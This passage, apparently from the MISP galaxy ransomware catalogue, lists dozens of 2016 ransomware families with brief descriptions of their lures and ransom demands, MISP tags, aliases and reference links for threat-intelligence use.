It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.

The tag is: misp-galaxy:ransomware="Merry Christmas"

Merry Christmas is also known as:

Merry X-Mas
MRCR

Table 3590. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html
https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/
http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/
https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/
https://decrypter.emsisoft.com/mrcr

Seoirse Ransomware

The tag is: misp-galaxy:ransomware="Seoirse Ransomware"

Table 3591. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html

KillDisk Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.

The tag is: misp-galaxy:ransomware="KillDisk Ransomware"

Table 3592. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/killdisk-ransomware.html
https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
http://www.zdnet.com/article/247000-killdisk-ransomware-demands-a-fortune-forgets-to-unlock-files/
http://www.securityweek.com/destructive-killdisk-malware-turns-ransomware
http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/
https://cyberx-labs.com/en/blog/new-killdisk-malware-brings-ransomware-into-industrial-domain/

DeriaLock Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.

The tag is: misp-galaxy:ransomware="DeriaLock Ransomware"

Table 3593. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html
https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/

BadEncript Ransomware

The tag is: misp-galaxy:ransomware="BadEncript Ransomware"

Table 3594. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html
https://twitter.com/demonslay335/status/813064189719805952

AdamLocker Ransomware

The tag is: misp-galaxy:ransomware="AdamLocker Ransomware"

Table 3595. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html

Alphabet Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.

The tag is: misp-galaxy:ransomware="Alphabet Ransomware"

Alphabet Ransomware has relationships with:

similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"

Table 3596. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html
https://twitter.com/PolarToffee/status/812331918633172992

KoKoKrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru

The tag is: misp-galaxy:ransomware="KoKoKrypt Ransomware"

KoKoKrypt Ransomware is also known as:

KokoLocker Ransomware

Table 3597. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/

L33TAF Locker Ransomware

The tag is: misp-galaxy:ransomware="L33TAF Locker Ransomware"

Table 3598. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html

PClock4 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="PClock4 Ransomware"

PClock4 Ransomware is also known as:

PClock SysGop Ransomware

Table 3599. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html

Guster Ransomware

The tag is: misp-galaxy:ransomware="Guster Ransomware"

Table 3600. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html
https://twitter.com/BleepinComputer/status/812131324979007492

Roga

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png

The tag is: misp-galaxy:ransomware="Roga"

Roga has relationships with:

similar: misp-galaxy:ransomware="Free-Freedom" with estimative-language:likelihood-probability="likely"

Table 3601. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html

CryptoLocker3 Ransomware

The tag is: misp-galaxy:ransomware="CryptoLocker3 Ransomware"

CryptoLocker3 Ransomware is also known as:

Fake CryptoLocker

Table 3602. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html

ProposalCrypt Ransomware

The tag is: misp-galaxy:ransomware="ProposalCrypt Ransomware"

Table 3603. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html
http://www.archersecuritygroup.com/what-is-ransomware/
https://twitter.com/demonslay335/status/812002960083394560
https://twitter.com/malwrhunterteam/status/811613888705859586

Manifestus Ransomware

The tag is: misp-galaxy:ransomware="Manifestus Ransomware "

Table 3604. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-23rd-2016-cryptxxx-koolova-cerber-and-more/
https://twitter.com/struppigel/status/811587154983981056

EnkripsiPC Ransomware

The tag is: misp-galaxy:ransomware="EnkripsiPC Ransomware"

EnkripsiPC Ransomware is also known as:

IDRANSOMv3
Manifestus

EnkripsiPC Ransomware has relationships with:

similar: misp-galaxy:malpedia="Manifestus" with estimative-language:likelihood-probability="likely"

Table 3605. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html
https://twitter.com/demonslay335/status/811343914712100872
https://twitter.com/BleepinComputer/status/811264254481494016
https://twitter.com/struppigel/status/811587154983981056

BrainCrypt Ransomware

The tag is: misp-galaxy:ransomware="BrainCrypt Ransomware"

Table 3606. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html

MSN CryptoLocker Ransomware

The tag is: misp-galaxy:ransomware="MSN CryptoLocker Ransomware"

Table 3607. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html
https://twitter.com/struppigel/status/810766686005719040

CryptoBlock Ransomware

The tag is: misp-galaxy:ransomware="CryptoBlock Ransomware "

Table 3608. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html
https://twitter.com/drProct0r/status/810500976415281154

AES-NI Ransomware

The tag is: misp-galaxy:ransomware="AES-NI Ransomware "

Table 3609. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html

Koolova Ransomware

The tag is: misp-galaxy:ransomware="Koolova Ransomware"

Table 3610. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html
https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/

Fake Globe Ransomware

The tag is: misp-galaxy:ransomware="Fake Globe Ransomware"

Fake Globe Ransomware is also known as:

Globe Imposter
GlobeImposter

Fake Globe Ransomware has relationships with:

similar: misp-galaxy:malpedia="GlobeImposter" with estimative-language:likelihood-probability="likely"

Table 3611. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-30th-2016-infected-tvs-and-open-source-ransomware-sucks/
https://twitter.com/fwosar/status/812421183245287424
https://decrypter.emsisoft.com/globeimposter
https://twitter.com/malwrhunterteam/status/809795402421641216
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/GrujaRS/status/1004661259906768896

V8Locker Ransomware

The tag is: misp-galaxy:ransomware="V8Locker Ransomware"

Table 3612. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html

Cryptorium (Fake Ransomware)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.

The tag is: misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"

Table 3613. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html

Antihacker2017 Ransomware

It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).

The tag is: misp-galaxy:ransomware="Antihacker2017 Ransomware"

Table 3614. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html

CIA Special Agent 767 Ransomware (FAKE!!!)

It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"

Table 3615. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html
https://www.bleepingcomputer.com/virus-removal/remove-cia-special-agent-767-screen-locker
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-16th-2016-samas-no-more-ransom-screen-lockers-and-more/
https://guides.yoosecurity.com/cia-special-agent-767-virus-locks-your-pc-screen-how-to-unlock/

LoveServer Ransomware

The tag is: misp-galaxy:ransomware="LoveServer Ransomware "

Table 3616. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html

Kraken Ransomware

The tag is: misp-galaxy:ransomware="Kraken Ransomware"

Table 3617. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html

Antix Ransomware

The tag is: misp-galaxy:ransomware="Antix Ransomware"

Table 3618. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html

PayDay Ransomware

The tag is: misp-galaxy:ransomware="PayDay Ransomware "

Table 3619. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html
https://twitter.com/BleepinComputer/status/808316635094380544

Slimhem Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.

The tag is: misp-galaxy:ransomware="Slimhem Ransomware"

Table 3620. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html

M4N1F3STO Ransomware (FAKE!!!!!)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!

The tag is: misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!)"

Table 3621. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html

Dale Ransomware

The tag is: misp-galaxy:ransomware="Dale Ransomware"

Dale Ransomware is also known as:

DaleLocker Ransomware

UltraLocker Ransomware

The tag is: misp-galaxy:ransomware="UltraLocker Ransomware"

Table 3622. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html
https://twitter.com/struppigel/status/807161652663742465

AES_KEY_GEN_ASSIST Ransomware

The tag is: misp-galaxy:ransomware="AES_KEY_GEN_ASSIST Ransomware"

Table 3623. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html
https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html
https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/

Code Virus Ransomware

The tag is: misp-galaxy:ransomware="Code Virus Ransomware "

Table 3624. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html

FLKR Ransomware

The tag is: misp-galaxy:ransomware="FLKR Ransomware"

Table 3625. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html

PopCorn Time Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png

The tag is: misp-galaxy:ransomware="PopCorn Time Ransomware"

Table 3626. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html
https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/

HackedLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: misp-galaxy:ransomware="HackedLocker Ransomware"

Table 3627. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html

GoldenEye Ransomware

The tag is: misp-galaxy:ransomware="GoldenEye Ransomware"

Table 3628. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/

Sage Ransomware

The tag is: misp-galaxy:ransomware="Sage Ransomware"

Table 3629. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html
https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/
https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/

SQ_ Ransomware

The tag is: misp-galaxy:ransomware="SQ Ransomware"_

SQ_ Ransomware is also known as:

VO_ Ransomware

Table 3630. Table References
Links
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html

Matrix

The tag is: misp-galaxy:ransomware="Matrix"

Matrix is also known as:

Malta Ransomware
Matrix Ransomware

Table 3631. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html
https://twitter.com/rommeljoven17/status/804251901529231360
https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/demonslay335/status/1034212374805278720
https://www.bleepingcomputer.com/news/security/new-fox-ransomware-matrix-variant-tries-its-best-to-close-all-file-handles/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049314118409306112
https://twitter.com/demonslay335/status/1050118985210048512
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/demonslay335/status/1039907030570598400

Satan666 Ransomware

The tag is: misp-galaxy:ransomware="Satan666 Ransomware"

Table 3632. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html

RIP (Phoenix) Ransomware

The tag is: misp-galaxy:ransomware="RIP (Phoenix) Ransomware"

Table 3633. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html
https://twitter.com/BleepinComputer/status/804810315456200704

Locked-In Ransomware or NoValid Ransomware

The tag is: misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"

Table 3634. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html
https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/
https://twitter.com/struppigel/status/807169774098796544

Chartwig Ransomware

The tag is: misp-galaxy:ransomware="Chartwig Ransomware"

Table 3635. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html

RenLocker Ransomware (FAKE)

It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]

The tag is: misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"

Table 3636. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html

Thanksgiving Ransomware

The tag is: misp-galaxy:ransomware="Thanksgiving Ransomware"

Table 3637. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html
https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html
https://twitter.com/BleepinComputer/status/801486420368093184

CockBlocker Ransomware

The tag is: misp-galaxy:ransomware="CockBlocker Ransomware"

Table 3638. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html
https://twitter.com/jiriatvirlab/status/801910919739674624

Lomix Ransomware

The tag is: misp-galaxy:ransomware="Lomix Ransomware"

Table 3639. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html
https://twitter.com/siri_urz/status/801815087082274816

OzozaLocker Ransomware

The tag is: misp-galaxy:ransomware="OzozaLocker Ransomware"

Table 3640. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html
https://decrypter.emsisoft.com/ozozalocker
https://twitter.com/malwrhunterteam/status/801503401867673603

Crypute Ransomware

The tag is: misp-galaxy:ransomware="Crypute Ransomware"

Crypute Ransomware is also known as:

m0on Ransomware

Table 3641. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/

NMoreira Ransomware

The tag is: misp-galaxy:ransomware="NMoreira Ransomware"

NMoreira Ransomware is also known as:

Fake Maktub Ransomware

Table 3642. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

VindowsLocker Ransomware

The tag is: misp-galaxy:ransomware="VindowsLocker Ransomware"

Table 3643. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html
https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph
https://rol.im/VindowsUnlocker.zip
https://twitter.com/JakubKroustek/status/800729944112427008
https://www.bleepingcomputer.com/news/security/vindowslocker-ransomware-mimics-tech-support-scam-not-the-other-way-around/

Donald Trump 2 Ransomware

The tag is: misp-galaxy:ransomware="Donald Trump 2 Ransomware"

Table 3644. Table References
Links
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/

Nagini Ransomware

The tag is: misp-galaxy:ransomware="Nagini Ransomware"

Nagini Ransomware is also known as:

Voldemort Ransomware

Table 3645. Table References
Links
http://id-ransomware.blogspot.co.il/2016/09/nagini-voldemort-ransomware.html
https://www.bleepingcomputer.com/news/security/the-nagini-ransomware-sics-voldemort-on-your-files/

ShellLocker Ransomware

The tag is: misp-galaxy:ransomware="ShellLocker Ransomware"

Table 3646. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html
https://twitter.com/JakubKroustek/status/799388289337671680

Chip Ransomware

The tag is: misp-galaxy:ransomware="Chip Ransomware"

Chip Ransomware is also known as:

ChipLocker Ransomware

Table 3647. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html
http://malware-traffic-analysis.net/2016/11/17/index.html
https://www.bleepingcomputer.com/news/security/rig-e-exploit-kit-now-distributing-new-chip-ransomware/

Dharma Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant

The tag is: misp-galaxy:ransomware="Dharma Ransomware"

Table 3648. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html
https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/
https://www.bleepingcomputer.com/news/security/new-cmb-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-bip-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049313390097813504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/JakubKroustek/status/1038680437508501504
https://twitter.com/demonslay335/status/1059521042383814657
https://twitter.com/demonslay335/status/1059940414147489792
https://twitter.com/JakubKroustek/status/1060825783197933568
https://twitter.com/JakubKroustek/status/1064061275863425025
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://www.youtube.com/watch?v=qjoYtwLx2TI
https://twitter.com/GrujaRS/status/1072139616910757888

Angela Merkel Ransomware

The tag is: misp-galaxy:ransomware="Angela Merkel Ransomware"

Table 3649. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html
https://twitter.com/malwrhunterteam/status/798268218364358656

CryptoLuck Ransomware

The tag is: misp-galaxy:ransomware="CryptoLuck Ransomware"

CryptoLuck Ransomware is also known as:

YafunnLocker

Table 3650. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/
https://twitter.com/malwareforme/status/798258032115322880

Crypton Ransomware

The tag is: misp-galaxy:ransomware="Crypton Ransomware"

Crypton Ransomware is also known as:

Nemesis
X3M

Table 3651. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html
https://decrypter.emsisoft.com/crypton
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/
https://twitter.com/JakubKroustek/status/829353444632825856

Karma Ransomware

The tag is: misp-galaxy:ransomware="Karma Ransomware"

Table 3652. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html
https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/

WickedLocker HT Ransomware

The tag is: misp-galaxy:ransomware="WickedLocker HT Ransomware"

Table 3653. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html

PClock3 Ransomware

The tag is: misp-galaxy:ransomware="PClock3 Ransomware"

PClock3 Ransomware is also known as:

PClock SuppTeam Ransomware
WinPlock
CryptoLocker clone

Table 3654. Table References
Links
https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/
https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html
http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/
https://decrypter.emsisoft.com/

Kolobo Ransomware

The tag is: misp-galaxy:ransomware="Kolobo Ransomware"

Kolobo Ransomware is also known as:

Kolobocheg Ransomware

Table 3655. Table References
Links
https://www.ransomware.wiki/tag/kolobo/
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html
https://forum.drweb.com/index.php?showtopic=315142

PaySafeGen (German) Ransomware

This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="PaySafeGen (German) Ransomware"

PaySafeGen (German) Ransomware is also known as:

Paysafecard Generator 2016

Table 3656. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html
https://twitter.com/JakubKroustek/status/796083768155078656

Telecrypt Ransomware

This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.

The tag is: misp-galaxy:ransomware="Telecrypt Ransomware"

Table 3657. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/telecrypt-ransomware.html
http://www.securityweek.com/telecrypt-ransomwares-encryption-cracked
https://malwarebytes.app.box.com/s/kkxwgzbpwe7oh59xqfwcz97uk0q05kp3
https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/
https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/

CerberTear Ransomware

The tag is: misp-galaxy:ransomware="CerberTear Ransomware"

Table 3658. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/795630452128227333

FuckSociety Ransomware

The tag is: misp-galaxy:ransomware="FuckSociety Ransomware"

Table 3659. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html

PayDOS Ransomware

The tag is: misp-galaxy:ransomware="PayDOS Ransomware"

PayDOS Ransomware is also known as:

Serpent Ransomware

Table 3660. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/paydos-ransomware-serpent.html
https://www.bleepingcomputer.com/news/security/ransomware-goes-retro-with-paydos-and-serpent-written-as-batch-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://www.proofpoint.com/us/threat-insight/post/new-serpent-ransomware-targets-danish-speakers

zScreenLocker Ransomware

The tag is: misp-galaxy:ransomware="zScreenLocker Ransomware"

Table 3661. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/794077145349967872

Gremit Ransomware

The tag is: misp-galaxy:ransomware="Gremit Ransomware"

Table 3662. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html
https://twitter.com/struppigel/status/794444032286060544
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/

Hollycrypt Ransomware

The tag is: misp-galaxy:ransomware="Hollycrypt Ransomware"

Table 3663. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html

BTCLocker Ransomware

The tag is: misp-galaxy:ransomware="BTCLocker Ransomware"

BTCLocker Ransomware is also known as:

BTC Ransomware

Table 3664. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html

Kangaroo Ransomware

The tag is: misp-galaxy:ransomware="Kangaroo Ransomware"

Table 3665. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html
https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/

DummyEncrypter Ransomware

